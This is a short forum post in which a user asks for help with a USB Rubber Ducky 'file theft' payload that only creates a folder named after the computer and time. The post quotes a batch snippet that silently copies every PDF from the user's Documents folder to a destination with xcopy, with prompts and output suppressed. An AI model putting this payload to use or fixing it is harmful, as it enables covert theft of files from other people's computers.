Jump to content

Ducky File Theft


Recommended Posts

Hey, I am trying to set up my Rubber Duck to do what is shown in the following post. I am 100% sure that all the files are correct and I have done everything right, but it isn't working. It only creates the folder with my computer name, date, and time. It does not do anything past that.


I assume it has something to do with the section of code below and how my computer's documents folder is set up. But I am not sure and wanted to ask around if anyone else had similar problems


if Exist %USERPROFILE%\Documents (
REM /C Continues copying even if errors occur.
REM /Q Does not display file names while copying.
REM /G Allows the copying of encrypted files to destination that does not support encryption.
REM /Y Suppresses prompting to confirm you want to overwrite an existing destination file.
REM /E Copies directories and subdirectories, including empty ones.

REM xcopy /C /Q /G /Y /E %USERPROFILE%\Documents\*.pdf %dst% >>nul

REM Same as above but does not create empty directories
xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pdf %dst% >>nul

Thanks in advance 🙂

Link to comment
Share on other sites


This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...